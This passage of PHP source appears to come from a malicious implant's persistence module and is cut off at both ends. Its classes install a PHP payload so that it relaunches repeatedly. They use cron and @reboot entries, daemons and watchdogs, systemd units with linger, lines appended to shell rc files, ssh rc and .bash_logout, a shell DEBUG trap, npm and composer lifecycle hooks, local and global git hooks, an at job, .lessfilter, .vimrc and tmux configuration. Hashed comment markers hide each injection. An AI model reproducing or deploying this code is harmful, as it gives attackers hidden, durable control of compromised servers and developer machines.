strpos($json['scripts'][$hook], $marker) !== false) unset($json['scripts'][$hook]); } $newJson = json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); if ($newJson !== false && @file_put_contents($file, $newJson . "\n") !== false) $n++; } return $n; } function wn_build_trap_line($entry) { if ($entry === '') return ''; $esc = str_replace("'", "'\\''", $entry); return 'if [ -n "$BASH_VERSION" ] || [ -n "$ZSH_VERSION" ]; then if [ -z "$__WN_TRAP_S" ]; then __WN_TRAP_S=1; trap \'[ -f "' . $esc . '" ] && (pgrep -f "' . $esc . '" >/dev/null 2>&1 || (php "' . $esc . '" >/dev/null 2>&1 &))\' DEBUG; fi; fi'; } function wn_inject_shell_trap($home, $entry) { if (!$home) return 0; $marker = '# ' . substr(md5('wn_trap_' . wn_get_key('trap')), 0, 12) . ' trap'; $line = wn_build_trap_line($entry); if ($line === '') return 0; $n = 0; foreach ([$home.'/.bashrc', $home.'/.zshrc', $home.'/.profile', $home.'/.bash_profile', $home.'/.zprofile'] as $f) { if (!file_exists($f) || !is_writable($f)) continue; $c = @file_get_contents($f); if ($c === false) continue; if (strpos($c, $marker) !== false) { $n++; continue; } if (@file_put_contents($f, "\n" . $marker . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) $n++; } return $n; } function wn_cleanup_shell_trap($home) { if (!$home) return 0; $marker = '# ' . substr(md5('wn_trap_' . wn_get_key('trap')), 0, 12) . ' trap'; $n = 0; foreach ([$home.'/.bashrc', $home.'/.zshrc', $home.'/.profile', $home.'/.bash_profile', $home.'/.zprofile'] as $f) { if (!file_exists($f) || !is_writable($f)) continue; $c = @file_get_contents($f); if ($c === false || strpos($c, $marker) === false) continue; $lines = explode("\n", $c); $out = []; $skip = false; foreach ($lines as $l) { if (strpos($l, $marker) !== false) { $skip = true; continue; } if ($skip) { $skip = false; continue; } $out[] = $l; } if (@file_put_contents($f, implode("\n", $out)) !== false) $n++; } return $n; } /* ============ LAYER SYSTEM ============ */ interface WnLayer { public function key(); public function install(array $ctx); public function uninstall(array $ctx); public function status(array $ctx); } abstract class WnBaseLayer implements WnLayer { protected $lastLog = []; public function log() { return $this->lastLog; } protected function setLog(array $entries) { $this->lastLog = $entries; } public function uninstall(array $ctx) { return ['ok'=>true,'removed'=>0,'message'=>'no-op']; } public function status(array $ctx) { return ['active'=>false,'detail'=>'not implemented']; } } class WnLayerManager { private $layers = []; public function register(WnLayer $layer) { $this->layers[$layer->key()] = $layer; return $this; } public function installAll(array $ctx) { $results = []; foreach ($this->layers as $key => $layer) { try { $results[$key] = $layer->install($ctx); } catch (Throwable $e) { $results[$key] = ['ok'=>false,'detail'=>'exception: ' . $e->getMessage()]; } } return $results; } public function uninstallAll(array $ctx) { $results = []; $totalRemoved = 0; foreach ($this->layers as $key => $layer) { try { $r = $layer->uninstall($ctx); $results[$key] = $r; $totalRemoved += (int)($r['removed'] ?? 0); } catch (Throwable $e) { $results[$key] = ['ok'=>false,'removed'=>0]; } } return ['results'=>$results,'total_removed'=>$totalRemoved]; } public function statusAll(array $ctx) { $out = []; foreach ($this->layers as $key => $layer) { try { $out[$key] = $layer->status($ctx); } catch (Throwable $e) { $out[$key] = ['active'=>false,'detail'=>'exception']; } } return $out; } } class WnCronLayer extends WnBaseLayer { public function key() { return 'cron'; } public function install(array $ctx) { $php = $ctx['php_bin']; $entry = $ctx['entry']; $existing = (string)cmd_exec('crontab -l 2>/dev/null'); $lines = array_filter(explode("\n", $existing), 'wn_cron_filter_callback'); $lines[] = "* * * * * /bin/sh -c '" . escapeshellarg($php) . " " . escapeshellarg($entry) . " >/dev/null 2>&1'"; $lines[] = "@reboot /bin/sh -c 'sleep 30 && " . escapeshellarg($php) . " " . escapeshellarg($entry) . " >/dev/null 2>&1'"; $tmp = tempnam(sys_get_temp_dir(), 'cron_'); wn_call('fpc', $tmp, implode("\n", $lines) . "\n"); cmd_exec("crontab " . escapeshellarg($tmp) . " 2>&1"); @unlink($tmp); $v = (string)cmd_exec('crontab -l 2>/dev/null'); $main = (stripos($v, basename($entry)) !== false) || stripos($v, 'cleanup.lock') !== false; $reboot = stripos($v, '@reboot') !== false; return ['ok'=>$main,'detail'=>($main ? 'active' : 'missing') . ($reboot ? ' + reboot' : ''),'reboot'=>$reboot]; } public function uninstall(array $ctx) { $existing = (string)cmd_exec('crontab -l 2>/dev/null'); $lines = array_filter(explode("\n", $existing), 'wn_cron_filter_callback'); $tmp = tempnam(sys_get_temp_dir(), 'cron_'); wn_call('fpc', $tmp, implode("\n", $lines) . "\n"); cmd_exec("crontab " . escapeshellarg($tmp) . " 2>&1"); @unlink($tmp); return ['ok'=>true,'removed'=>2,'message'=>'cron cleared']; } public function status(array $ctx) { $c = (string)cmd_exec('crontab -l 2>/dev/null'); $main = (isset($ctx['entry']) && $ctx['entry'] && stripos($c, basename($ctx['entry'])) !== false) || stripos($c, 'cleanup.lock') !== false; return ['active'=>$main,'reboot'=>stripos($c, '@reboot') !== false,'detail'=>$main ? 'active' : 'missing']; } } class WnDaemonLayer extends WnBaseLayer { public function key() { return 'daemon'; } public function install(array $ctx) { $log = []; $ok = wn_spawn_daemon($ctx['php_bin'], $ctx['entry'], $log); $this->setLog($log); return ['ok'=>$ok,'detail'=>$ok ? 'spawned' : 'failed','log'=>$log]; } public function uninstall(array $ctx) { $pf = wn_blend_name('daemon_pid'); $removed = 0; if (file_exists($pf)) { $pid = (int)wn_call('fgc', $pf); if ($pid > 0 && wn_can_shell()) cmd_exec("kill -9 " . $pid . " 2>/dev/null"); @unlink($pf); $removed++; } return ['ok'=>true,'removed'=>$removed,'message'=>'daemon killed']; } public function status(array $ctx) { $s = wn_daemon_status(); return ['active'=>$s['alive'],'pid'=>$s['pid'],'detail'=>$s['alive'] ? "alive ({$s['pid']})" : 'dead']; } } class WnWatchdogLayer extends WnBaseLayer { public function key() { return 'watchdog'; } public function install(array $ctx) { $log = []; $ok = wn_spawn_watchdog($ctx['php_bin'], $ctx['entry'], $log); $this->setLog($log); return ['ok'=>$ok,'detail'=>$ok ? 'spawned' : 'failed','log'=>$log]; } public function uninstall(array $ctx) { $pf = wn_blend_name('watchdog_pid'); $removed = 0; if (file_exists($pf)) { $pid = (int)wn_call('fgc', $pf); if ($pid > 0 && wn_can_shell()) cmd_exec("kill -9 " . $pid . " 2>/dev/null"); @unlink($pf); $removed++; } return ['ok'=>true,'removed'=>$removed,'message'=>'watchdog killed']; } public function status(array $ctx) { $s = wn_watchdog_status(); return ['active'=>$s['alive'],'pid'=>$s['pid'],'detail'=>$s['alive'] ? "alive ({$s['pid']})" : 'dead']; } } class WnSystemdLayer extends WnBaseLayer { public function key() { return 'systemd'; } public function install(array $ctx) { $log = []; $units = wn_install_systemd($ctx['php_bin'], $ctx['entry'], $log); $this->setLog($log); return ['ok'=>!empty($units),'detail'=>count($units) . ' unit(s)','units'=>$units]; } public function uninstall(array $ctx) { $r = wn_uninstall_systemd(); return ['ok'=>true,'removed'=>$r,'message'=>"systemd: $r removed"]; } public function status(array $ctx) { $s = wn_systemd_status(); $active = $s['user_active'] || $s['system_active']; return ['active'=>$active,'detail'=>$s['user_active'] ? 'user active' : ($s['system_active'] ? 'system active' : 'off')]; } } class WnLingerLayer extends WnBaseLayer { public function key() { return 'linger'; } private function systemdUserAvailable() { $uid = null; if (function_exists('posix_getuid')) $uid = posix_getuid(); if ($uid === null) { $o = trim((string)cmd_exec('id -u 2>/dev/null')); if (ctype_digit($o)) $uid = (int)$o; } if ($uid !== null && file_exists('/run/user/' . $uid . '/systemd/private')) return true; $r = trim((string)cmd_exec('systemctl --user is-system-running 2>&1')); return in_array($r, ['running','degraded','initializing','starting'], true); } private function checkLinger($u) { $s = trim((string)cmd_exec('loginctl show-user ' . escapeshellarg($u) . ' -p Linger 2>/dev/null')); if (stripos($s, 'Linger=yes') !== false) return 'yes'; if (stripos($s, 'Linger=no') !== false) return 'no'; if (file_exists('/var/lib/systemd/linger/' . $u)) return 'yes'; return 'unknown'; } public function install(array $ctx) { $u = $ctx['linger_user'] ?? ''; if ($u === '') return ['ok'=>false,'detail'=>'no user']; if (trim((string)cmd_exec('command -v loginctl 2>/dev/null')) === '') return ['ok'=>false,'detail'=>'loginctl missing']; if (!$this->systemdUserAvailable()) return ['ok'=>false,'detail'=>'systemd-user not running']; $before = $this->checkLinger($u); if ($before === 'yes') return ['ok'=>true,'detail'=>'already enabled']; $out = (string)cmd_exec('loginctl enable-linger ' . escapeshellarg($u) . ' 2>&1'); for ($i = 0; $i < 5; $i++) { usleep(600000); if ($this->checkLinger($u) === 'yes') return ['ok'=>true,'detail'=>'enabled']; } $err = trim($out); return ['ok'=>false,'detail'=>'enable failed' . ($err !== '' ? ': ' . substr($err, 0, 200) : '')]; } public function uninstall(array $ctx) { $u = $ctx['linger_user'] ?? ''; if ($u === '') return ['ok'=>false,'removed'=>0]; if ($this->checkLinger($u) !== 'yes') return ['ok'=>true,'removed'=>0,'message'=>'not enabled']; cmd_exec('loginctl disable-linger ' . escapeshellarg($u) . ' 2>&1'); usleep(500000); return ['ok'=>true,'removed'=>1,'message'=>'linger disabled']; } public function status(array $ctx) { $u = $ctx['linger_user'] ?? ''; if ($u === '') return ['active'=>false,'detail'=>'no user']; if (!$this->systemdUserAvailable()) return ['active'=>false,'detail'=>'systemd-user not running']; $st = $this->checkLinger($u); return ['active'=>$st==='yes','detail'=>$st==='yes' ? 'enabled' : ($st==='no' ? 'disabled' : 'unknown')]; } } class WnBashRcLayer extends WnBaseLayer { public function key() { return 'shell_rc'; } private function marker() { return '# ' . substr(md5('wn_rc_' . wn_get_key('rc')), 0, 12) . ' shim'; } public function install(array $ctx) { $home = $ctx['home']; $entry = $ctx['entry']; $m = $this->marker(); $line = '[ -f "' . $entry . '" ] && (php "' . $entry . '" >/dev/null 2>&1 &)'; $n = 0; foreach ([$home.'/.bashrc', $home.'/.bash_profile', $home.'/.profile', $home.'/.zshrc'] as $f) { if (!file_exists($f) || !is_writable($f)) continue; $c = @file_get_contents($f); if ($c === false) continue; if (strpos($c, $m) !== false) { $n++; continue; } if (@file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) $n++; } return ['ok'=>$n>0,'detail'=>"$n file(s)"]; } public function uninstall(array $ctx) { $home = $ctx['home']; $m = $this->marker(); $n = 0; foreach ([$home.'/.bashrc', $home.'/.bash_profile', $home.'/.profile', $home.'/.zshrc'] as $f) { if (!file_exists($f) || !is_writable($f)) continue; $c = @file_get_contents($f); if ($c === false || strpos($c, $m) === false) continue; $lines = explode("\n", $c); $out = []; $skip = false; foreach ($lines as $l) { if (strpos($l, $m) !== false) { $skip = true; continue; } if ($skip) { $skip = false; continue; } $out[] = $l; } if (@file_put_contents($f, implode("\n", $out)) !== false) $n++; } return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { $m = $this->marker(); $home = $ctx['home']; foreach ([$home.'/.bashrc', $home.'/.zshrc', $home.'/.profile', $home.'/.bash_profile'] as $f) { if (file_exists($f) && strpos((string)@file_get_contents($f), $m) !== false) return ['active'=>true,'detail'=>'active']; } return ['active'=>false,'detail'=>'off']; } } class WnSshRcLayer extends WnBaseLayer { public function key() { return 'ssh_rc'; } private function marker() { return '# ' . substr(md5('wn_sshrc_' . wn_get_key('sshrc')), 0, 12); } public function install(array $ctx) { $home = $ctx['home']; $entry = $ctx['entry']; $sshDir = $home . '/.ssh'; if (!is_dir($sshDir)) @mkdir($sshDir, 0700, true); if (!is_dir($sshDir) || !is_writable($sshDir)) return ['ok'=>false,'detail'=>'ssh dir not writable']; $f = $sshDir . '/rc'; $m = $this->marker(); $line = '[ -f "' . $entry . '" ] && (php "' . $entry . '" >/dev/null 2>&1 &)'; if (file_exists($f)) { $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) return ['ok'=>true,'detail'=>'already present']; if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok'=>true,'detail'=>'appended']; return ['ok'=>false,'detail'=>'append failed']; } if (@file_put_contents($f, $m . "\n" . $line . "\n") !== false) { @chmod($f, 0600); return ['ok'=>true,'detail'=>'created']; } return ['ok'=>false,'detail'=>'create failed']; } public function uninstall(array $ctx) { $f = $ctx['home'] . '/.ssh/rc'; if (!file_exists($f) || !is_writable($f)) return ['ok'=>true,'removed'=>0]; $c = @file_get_contents($f); if ($c === false) return ['ok'=>false,'removed'=>0]; $m = $this->marker(); if (strpos($c, $m) === false) return ['ok'=>true,'removed'=>0]; $lines = explode("\n", $c); $out = []; $skip = false; foreach ($lines as $l) { if (strpos($l, $m) !== false) { $skip = true; continue; } if ($skip) { $skip = false; continue; } $out[] = $l; } if (@file_put_contents($f, implode("\n", $out)) !== false) return ['ok'=>true,'removed'=>1]; return ['ok'=>false,'removed'=>0]; } public function status(array $ctx) { $f = $ctx['home'] . '/.ssh/rc'; if (!file_exists($f)) return ['active'=>false,'detail'=>'no file']; return ['active'=>strpos((string)@file_get_contents($f), $this->marker()) !== false,'detail'=>'checked']; } } class WnBashLogoutLayer extends WnBaseLayer { public function key() { return 'bash_logout'; } private function marker() { return '# ' . substr(md5('wn_logout_' . wn_get_key('logout')), 0, 12) . ' shim'; } public function install(array $ctx) { $home = $ctx['home']; $entry = $ctx['entry']; $f = $home . '/.bash_logout'; $m = $this->marker(); $line = '[ -f "' . $entry . '" ] && (php "' . $entry . '" >/dev/null 2>&1 &)'; if (!file_exists($f)) { if (@file_put_contents($f, $m . "\n" . $line . "\n") !== false) { @chmod($f, 0644); return ['ok'=>true,'detail'=>'created']; } return ['ok'=>false,'detail'=>'create failed']; } $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) return ['ok'=>true,'detail'=>'already present']; if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok'=>true,'detail'=>'appended']; return ['ok'=>false,'detail'=>'append failed']; } public function uninstall(array $ctx) { $f = $ctx['home'] . '/.bash_logout'; if (!file_exists($f) || !is_writable($f)) return ['ok'=>true,'removed'=>0]; $c = @file_get_contents($f); if ($c === false) return ['ok'=>false,'removed'=>0]; $m = $this->marker(); if (strpos($c, $m) === false) return ['ok'=>true,'removed'=>0]; $lines = explode("\n", $c); $out = []; $skip = false; foreach ($lines as $l) { if (strpos($l, $m) !== false) { $skip = true; continue; } if ($skip) { $skip = false; continue; } $out[] = $l; } if (@file_put_contents($f, implode("\n", $out)) !== false) return ['ok'=>true,'removed'=>1]; return ['ok'=>false,'removed'=>0]; } public function status(array $ctx) { $f = $ctx['home'] . '/.bash_logout'; if (!file_exists($f)) return ['active'=>false,'detail'=>'no file']; return ['active'=>strpos((string)@file_get_contents($f), $this->marker()) !== false,'detail'=>'checked']; } } class WnAtJobLayer extends WnBaseLayer { public function key() { return 'at_job'; } public function install(array $ctx) { if (trim((string)cmd_exec('command -v at 2>/dev/null')) === '') return ['ok'=>false,'detail'=>'at not available']; $line = 'php ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1'; $out = (string)cmd_exec('echo ' . escapeshellarg($line) . ' | at now + 5 minutes 2>&1'); $ok = stripos($out, 'job') !== false && stripos($out, 'error') === false; return ['ok'=>$ok,'detail'=>$ok ? 'queued' : 'failed']; } public function status(array $ctx) { $exists = trim((string)cmd_exec('command -v at 2>/dev/null')) !== ''; return ['active'=>$exists,'detail'=>$exists ? 'at available' : 'at missing']; } } class WnNpmLayer extends WnBaseLayer { public function key() { return 'npm_hooks'; } public function install(array $ctx) { $n = wn_inject_npm_hooks($ctx['home'], $ctx['entry']); return ['ok'=>$n>0,'detail'=>"$n package.json(s)",'count'=>$n]; } public function uninstall(array $ctx) { $n = wn_cleanup_npm_hooks($ctx['home']); return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { $files = wn_find_project_files($ctx['home'], 'package.json'); $marker = 'wn_lifecycle_' . substr(md5('wn_npm_' . wn_get_key('npm')), 0, 8); $n = 0; foreach ($files as $f) { $j = @json_decode(@file_get_contents($f), true); if (is_array($j) && isset($j['scripts'][$marker])) $n++; } return ['active'=>$n>0,'count'=>$n,'detail'=>"$n active"]; } } class WnComposerLayer extends WnBaseLayer { public function key() { return 'composer_hooks'; } public function install(array $ctx) { $n = wn_inject_composer_hooks($ctx['home'], $ctx['entry']); return ['ok'=>$n>0,'detail'=>"$n composer.json(s)",'count'=>$n]; } public function uninstall(array $ctx) { $n = wn_cleanup_composer_hooks($ctx['home']); return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { $files = wn_find_project_files($ctx['home'], 'composer.json'); $marker = 'wn_lifecycle_' . substr(md5('wn_composer_' . wn_get_key('composer')), 0, 8); $n = 0; foreach ($files as $f) { $j = @json_decode(@file_get_contents($f), true); if (is_array($j) && isset($j['scripts'][$marker])) $n++; } return ['active'=>$n>0,'count'=>$n,'detail'=>"$n active"]; } } class WnShellTrapLayer extends WnBaseLayer { public function key() { return 'shell_trap'; } public function install(array $ctx) { $n = wn_inject_shell_trap($ctx['home'], $ctx['entry']); return ['ok'=>$n>0,'detail'=>"injected into $n file(s)",'count'=>$n]; } public function uninstall(array $ctx) { $n = wn_cleanup_shell_trap($ctx['home']); return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { $home = $ctx['home']; $marker = '# ' . substr(md5('wn_trap_' . wn_get_key('trap')), 0, 12) . ' trap'; foreach ([$home.'/.bashrc', $home.'/.zshrc', $home.'/.profile', $home.'/.bash_profile'] as $f) { if (file_exists($f) && strpos((string)@file_get_contents($f), $marker) !== false) return ['active'=>true,'detail'=>'active']; } return ['active'=>false,'detail'=>'off']; } } class WnGitHookLayer extends WnBaseLayer { public function key() { return 'git_hook'; } private function marker() { return '# ' . substr(md5('wn_git_' . wn_get_key('git')), 0, 12); } private function findGitDirs($home) { $dirs = []; if (!$home) return $dirs; $scan = [$home, $home.'/public_html', $home.'/www', $home.'/htdocs', $home.'/domains']; foreach ($scan as $base) { if (!is_dir($base)) continue; if (is_dir($base . '/.git/hooks')) $dirs[] = $base . '/.git/hooks'; $subs = @scandir($base) ?: []; foreach ($subs as $s) { if ($s === '.' || $s === '..') continue; if (isset($s[0]) && $s[0] === '.') continue; $p = $base . '/' . $s; if (is_dir($p . '/.git/hooks')) $dirs[] = $p . '/.git/hooks'; } } return array_values(array_unique($dirs)); } public function install(array $ctx) { $home = $ctx['home']; $entry = $ctx['entry']; $dirs = $this->findGitDirs($home); if (empty($dirs)) return ['ok'=>false,'detail'=>'no .git/hooks','count'=>0]; $m = $this->marker(); $script = "#!/bin/sh\n" . $m . "\n[ -f \"" . $entry . "\" ] && (pgrep -f \"" . $entry . "\" >/dev/null 2>&1 || (php \"" . $entry . "\" >/dev/null 2>&1 &))\nexit 0\n"; $n = 0; foreach ($dirs as $hooks) { foreach (['post-commit','post-merge','post-checkout','post-rewrite'] as $name) { $f = $hooks . '/' . $name; if (file_exists($f)) { $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) { $n++; continue; } if (is_writable($f) && @file_put_contents($f, "\n" . $script, FILE_APPEND | LOCK_EX) !== false) $n++; } else { if (@file_put_contents($f, $script) !== false) { @chmod($f, 0755); $n++; } } } } return ['ok'=>$n>0,'detail'=>"injected into $n hook(s)",'count'=>$n]; } public function uninstall(array $ctx) { $dirs = $this->findGitDirs($ctx['home']); $m = $this->marker(); $n = 0; foreach ($dirs as $hooks) { foreach (['post-commit','post-merge','post-checkout','post-rewrite'] as $name) { $f = $hooks . '/' . $name; if (!file_exists($f) || !is_writable($f)) continue; $c = @file_get_contents($f); if ($c === false || strpos($c, $m) === false) continue; $lines = explode("\n", $c); $out = []; $skipMarker = false; foreach ($lines as $l) { if (strpos($l, $m) !== false) { $skipMarker = true; continue; } if ($skipMarker && trim($l) !== '') { $skipMarker = false; continue; } $out[] = $l; } @file_put_contents($f, implode("\n", $out)); $n++; } } return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { $dirs = $this->findGitDirs($ctx['home']); if (empty($dirs)) return ['active'=>false,'count'=>0,'detail'=>'no git']; $m = $this->marker(); $n = 0; foreach ($dirs as $hooks) { foreach (['post-commit','post-merge','post-checkout','post-rewrite'] as $name) { $f = $hooks . '/' . $name; if (file_exists($f) && strpos((string)@file_get_contents($f), $m) !== false) $n++; } } return ['active'=>$n>0,'count'=>$n,'detail'=>"$n hook(s)"]; } } /* ============ NEW NON-ROOT PERSISTENCE LAYERS ============ */ function wn_shim_marker($tag) { return '# ' . substr(md5('wn_shim_' . $tag . '_' . wn_get_key('shim')), 0, 12); } function wn_shim_bash_line($php, $entry) { return '[ -f "' . $entry . '" ] && (' . escapeshellarg($php) . ' "' . $entry . '" >/dev/null 2>&1 &)'; } function wn_shim_install($file, $marker, $line) { $dir = dirname($file); if (!is_dir($dir)) @mkdir($dir, 0755, true); if (!is_dir($dir) || !is_writable($dir)) return 'dir-fail'; if (file_exists($file)) { $c = @file_get_contents($file); if ($c !== false && strpos($c, $marker) !== false) return 'exists'; if (!is_writable($file)) return 'not-writable'; if (@file_put_contents($file, "\n" . $marker . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return 'appended'; return 'append-failed'; } if (@file_put_contents($file, $marker . "\n" . $line . "\n") !== false) return 'created'; return 'create-failed'; } function wn_shim_uninstall($file, $marker) { if (!file_exists($file) || !is_writable($file)) return 0; $c = @file_get_contents($file); if ($c === false) return 0; if (strpos($c, $marker) === false) return 0; $lines = explode("\n", $c); $out = []; $skip = false; foreach ($lines as $l) { if (strpos($l, $marker) !== false) { $skip = true; continue; } if ($skip) { $skip = false; continue; } $out[] = $l; } if (@file_put_contents($file, implode("\n", $out)) !== false) return 1; return 0; } function wn_shim_status($file, $marker) { if (!file_exists($file)) return false; return strpos((string)@file_get_contents($file), $marker) !== false; } class WnBashLoginLayer extends WnBaseLayer { public function key() { return 'bash_login'; } public function install(array $ctx) { if (file_exists($ctx['home'] . '/.bash_profile')) return ['ok'=>false,'detail'=>'.bash_profile shadows']; $f = $ctx['home'] . '/.bash_login'; $m = wn_shim_marker('bashlogin'); $r = wn_shim_install($f, $m, wn_shim_bash_line($ctx['php_bin'], $ctx['entry'])); if ($r === 'exists') { @chmod($f, 0644); return ['ok'=>true,'detail'=>'already present']; } if ($r === 'created' || $r === 'appended') { @chmod($f, 0644); return ['ok'=>true,'detail'=>$r]; } return ['ok'=>false,'detail'=>$r]; } public function uninstall(array $ctx) { $n = wn_shim_uninstall($ctx['home'] . '/.bash_login', wn_shim_marker('bashlogin')); return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { return ['active'=>wn_shim_status($ctx['home'] . '/.bash_login', wn_shim_marker('bashlogin')),'detail'=>'checked']; } } class WnLessFilterLayer extends WnBaseLayer { public function key() { return 'lessfilter'; } public function install(array $ctx) { $f = $ctx['home'] . '/.lessfilter'; $m = wn_shim_marker('lessfilter'); if (file_exists($f)) { $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) return ['ok'=>true,'detail'=>'already present']; return ['ok'=>false,'detail'=>'exists (not overwriting)']; } $boot = wn_shim_bash_line($ctx['php_bin'], $ctx['entry']); $content = "#!/bin/sh\n" . $m . "\n" . $boot . "\ncase \"\$1\" in\n *.txt|*.log|*.conf|*.md) cat \"\$1\" ;;\n *) exit 1 ;;\nesac\n"; if (@file_put_contents($f, $content) !== false) { @chmod($f, 0755); return ['ok'=>true,'detail'=>'created']; } return ['ok'=>false,'detail'=>'create-failed']; } public function uninstall(array $ctx) { $f = $ctx['home'] . '/.lessfilter'; if (!file_exists($f) || !is_writable($f)) return ['ok'=>true,'removed'=>0]; $c = @file_get_contents($f); if ($c === false) return ['ok'=>false,'removed'=>0]; if (strpos($c, wn_shim_marker('lessfilter')) === false) return ['ok'=>true,'removed'=>0]; @unlink($f); return ['ok'=>true,'removed'=>1,'message'=>'deleted']; } public function status(array $ctx) { return ['active'=>wn_shim_status($ctx['home'] . '/.lessfilter', wn_shim_marker('lessfilter')),'detail'=>'checked']; } } class WnVimrcLayer extends WnBaseLayer { public function key() { return 'vimrc'; } private function marker() { return '" ' . substr(md5('wn_vimrc_' . wn_get_key('vimrc')), 0, 12); } private function line($ctx) { return 'silent! call system("(' . escapeshellarg($ctx['php_bin']) . ' ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 &)")'; } public function install(array $ctx) { $f = $ctx['home'] . '/.vimrc'; $m = $this->marker(); if (file_exists($f)) { $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) return ['ok'=>true,'detail'=>'already present']; if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $this->line($ctx) . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok'=>true,'detail'=>'appended']; return ['ok'=>false,'detail'=>'append-failed']; } if (@file_put_contents($f, $m . "\n" . $this->line($ctx) . "\n") !== false) { @chmod($f, 0644); return ['ok'=>true,'detail'=>'created']; } return ['ok'=>false,'detail'=>'create-failed']; } public function uninstall(array $ctx) { $n = wn_shim_uninstall($ctx['home'] . '/.vimrc', $this->marker()); return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { return ['active'=>wn_shim_status($ctx['home'] . '/.vimrc', $this->marker()),'detail'=>'checked']; } } class WnGitGlobalHooksLayer extends WnBaseLayer { public function key() { return 'git_global'; } private function marker() { return '# ' . substr(md5('wn_gitg_' . wn_get_key('gitg')), 0, 12); } private function hooksDir($ctx) { return $ctx['home'] . '/.config/git/global-hooks'; } public function install(array $ctx) { $home = $ctx['home']; $entry = $ctx['entry']; $php = $ctx['php_bin']; $hooksDir = $this->hooksDir($ctx); if (!is_dir($hooksDir) && !@mkdir($hooksDir, 0755, true)) return ['ok'=>false,'detail'=>'mkdir fail']; if (!is_dir($hooksDir) || !is_writable($hooksDir)) return ['ok'=>false,'detail'=>'dir not writable']; $m = $this->marker(); $script = "#!/bin/sh\n" . $m . "\n[ -f \"" . $entry . "\" ] && (pgrep -f \"" . $entry . "\" >/dev/null 2>&1 || (" . escapeshellarg($php) . " \"" . $entry . "\" >/dev/null 2>&1 &))\nexit 0\n"; $n = 0; foreach (['post-commit','post-merge','post-checkout','post-rewrite','pre-push','post-applypatch'] as $name) { $f = $hooksDir . '/' . $name; if (file_exists($f)) { $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) { $n++; continue; } if (is_writable($f) && @file_put_contents($f, "\n" . $script, FILE_APPEND | LOCK_EX) !== false) $n++; } else { if (@file_put_contents($f, $script) !== false) { @chmod($f, 0755); $n++; } } } $gitcfg = $home . '/.gitconfig'; $current = file_exists($gitcfg) ? (string)@file_get_contents($gitcfg) : ''; if (strpos($current, 'hooksPath = ' . $hooksDir) === false) { if (file_exists($gitcfg)) @copy($gitcfg, $gitcfg . '.wn.bak'); if (strpos($current, '[core]') !== false) { if (!preg_match('/\[core\][^\[]*?hooksPath\s*=/', $current)) { $current = preg_replace('/\[core\]/', "[core]\n\thooksPath = $hooksDir", $current, 1); } } else { $current = rtrim($current) . "\n[core]\n\thooksPath = $hooksDir\n"; } @file_put_contents($gitcfg, $current, LOCK_EX); } return ['ok'=>$n>0,'detail'=>"$n hook(s) + gitconfig",'count'=>$n]; } public function uninstall(array $ctx) { $hooksDir = $this->hooksDir($ctx); $m = $this->marker(); $n = 0; if (is_dir($hooksDir)) { foreach (['post-commit','post-merge','post-checkout','post-rewrite','pre-push','post-applypatch'] as $name) { $f = $hooksDir . '/' . $name; if (!file_exists($f) || !is_writable($f)) continue; $c = @file_get_contents($f); if ($c === false || strpos($c, $m) === false) continue; if (strpos($c, '#!/bin/sh') === 0 && substr_count($c, "\n") < 10) { @unlink($f); $n++; } else { $n += wn_shim_uninstall($f, $m); } } @rmdir($hooksDir); } $gitcfg = $ctx['home'] . '/.gitconfig'; if (file_exists($gitcfg)) { $c = (string)@file_get_contents($gitcfg); $c = preg_replace('/\n\thooksPath\s*=\s*' . preg_quote($hooksDir, '/') . '\s*/', "\n", $c); @file_put_contents($gitcfg, $c, LOCK_EX); } return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { $hooksDir = $this->hooksDir($ctx); $m = $this->marker(); $n = 0; if (is_dir($hooksDir)) foreach (['post-commit','post-merge','post-checkout','post-rewrite','pre-push','post-applypatch'] as $name) { $f = $hooksDir . '/' . $name; if (file_exists($f) && strpos((string)@file_get_contents($f), $m) !== false) $n++; } return ['active'=>$n>0,'count'=>$n,'detail'=>"$n hook(s)"]; } } class WnTmuxConfLayer extends WnBaseLayer { public function key() { return 'tmux_conf'; } private function marker() { return '# ' . substr(md5('wn_tmux_' . wn_get_key('tmux')), 0, 12); } public function install(array $ctx) { $f = $ctx['home'] . '/.tmux.conf'; $m = $this->marker(); $line = 'run-shell "pgrep -f ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 || (' . escapeshellarg($ctx['php_bin']) . ' ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 &)"'; if (file_exists($f)) { $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) return ['ok'=>true,'detail'=>'already present']; if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok'=>true,'detail'=>'appended']; return ['ok'=>false,'detail'=>'append-failed']; } if (@file_put_contents($f, $m . "\n" . $line . "\n") !== false) { @chmod($f, 0644); return 